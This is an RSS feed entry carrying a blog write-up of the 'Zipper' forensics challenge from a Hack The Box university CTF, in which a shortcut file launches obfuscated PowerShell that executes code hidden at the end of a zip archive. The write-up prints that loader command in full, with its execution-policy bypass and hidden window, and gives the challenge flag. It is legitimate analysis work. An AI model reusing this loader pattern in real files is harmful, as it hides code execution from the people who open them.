<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>stego Archives - George Gerontakis</title>
	<atom:link href="https://blog.gerontakis.eu/tag/stego/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.gerontakis.eu/tag/stego/</link>
	<description>My personal Blog and more 😎</description>
	<lastBuildDate>Wed, 31 May 2023 23:17:49 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	
	<item>
		<title>HTB x UNI CTF Finals – Zipper – Forensics Writeup</title>
		<link>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/</link>
					<comments>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/#respond</comments>
		
		<dc:creator><![CDATA[g.gerontakis]]></dc:creator>
		<pubDate>Wed, 31 May 2023 23:08:44 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Forensics]]></category>
		<category><![CDATA[Hack The Box]]></category>
		<category><![CDATA[htb]]></category>
		<category><![CDATA[powershell]]></category>
		<category><![CDATA[steganography]]></category>
		<category><![CDATA[stego]]></category>
		<guid isPermaLink="false">https://blog.gerontakis.eu/?p=54</guid>

					<description><![CDATA[<p>After unziping the given file we get two files. One JPEG image and a Shortcut file. When we view the propeerties of the Shortcut file, we can clearly see that when clicked it executes a powershell command. Lets take this into a sandbox and run each part of the above command separately. The above loads [&#8230;]</p>
<p>The post <a href="https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/">HTB x UNI CTF Finals – Zipper – Forensics Writeup</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="710" height="517" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image.png" alt="" class="wp-image-55" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image.png 710w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-300x218.png 300w" sizes="(max-width: 710px) 100vw, 710px" /></figure>



<span id="more-54"></span>



<p class="wp-block-paragraph">After unziping the given file we get two files. One JPEG image and a Shortcut file.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="975" height="189" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5.png" alt="" class="wp-image-60" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5-300x58.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-5-768x149.png 768w" sizes="(max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph"><a rel="noreferrer noopener" href="https://github.com/INSSec-UniWA/Writeups/blob/htb-unictf-2021-finals/HTB-UniCTF-2021/Finals/Forensics/Zipper/images/Screenshot_1.png" target="_blank"></a>When we view the propeerties of the Shortcut file, we can clearly see that when clicked it executes a powershell command.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="603" height="596" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6.png" alt="" class="wp-image-61" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6.png 603w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-6-300x297.png 300w" sizes="(max-width: 603px) 100vw, 603px" /></figure>



<div class="wp-block-kevinbatdorf-code-block-pro" style="font-size:.875rem;line-height:1.25rem"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#333545;color:#ebebe6">PowerShell</span><span role="button" tabindex="0" data-code="%comspec% /c powershel%LOCALAPPDATA:~-1% -eP bypasS -win Hi'dde'n -c '&amp;{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes(&quot;Ae%4@3SDs&quot;);$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}'&quot;" style="color:#f6f6f4;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2"></path></svg></span><pre class="shiki dracula-soft" style="background-color: #282A36" tabindex="0"><code><span class="line"><span style="color: #F286C4">%</span><span style="color: #F6F6F4">comspec</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4"> </span><span style="color: #F286C4">/</span><span style="color: #F6F6F4">c powershel</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4">LOCALAPPDATA:~</span><span style="color: #BF9EEE">-1</span><span style="color: #F286C4">%</span><span style="color: #F6F6F4"> </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">eP bypasS </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">win Hi</span><span style="color: #DEE492">&#39;</span><span style="color: #E7EE98">dde</span><span style="color: #DEE492">&#39;</span><span style="color: #F6F6F4">n </span><span style="color: #F286C4">-</span><span style="color: #F6F6F4">c </span><span style="color: #DEE492">&#39;</span><span style="color: #E7EE98">&amp;{c:\users $v=dir -force -r -in zipper.zip|select -last 1;$key=[System.Text.Encoding]::UTF8.GetBytes(&quot;Ae%4@3SDs&quot;);$j=gc -LiteralPat $v.fullname;$j[$j.length-1]|iex;iex($pt)}</span><span style="color: #DEE492">&#39;&quot;</span></span></code></pre></div>



<p class="wp-block-paragraph">Lets take this into a sandbox and run each part of the above command separately.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="80" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7.png" alt="" class="wp-image-62" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7-300x25.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-7-768x63.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">The above loads some code from the image in the zipped file to be executed using Invoke-Expression (iex). So the next step is to view this extracted string.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="975" height="218" src="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8.png" alt="" class="wp-image-63" srcset="https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8.png 975w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8-300x67.png 300w, https://blog.gerontakis.eu/wp-content/uploads/2023/06/image-8-768x172.png 768w" sizes="auto, (max-width: 975px) 100vw, 975px" /></figure>



<p class="wp-block-paragraph">And we get the flag!!</p>



<p class="wp-block-paragraph"><strong>HTB{d4ng3r0Us_z1p_ZiP_z1pp3R}</strong></p>
<p>The post <a href="https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/">HTB x UNI CTF Finals – Zipper – Forensics Writeup</a> appeared first on <a href="https://blog.gerontakis.eu">George Gerontakis</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://blog.gerontakis.eu/2023/06/01/htb-x-uni-ctf-finals-zipper-forensics-writeup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
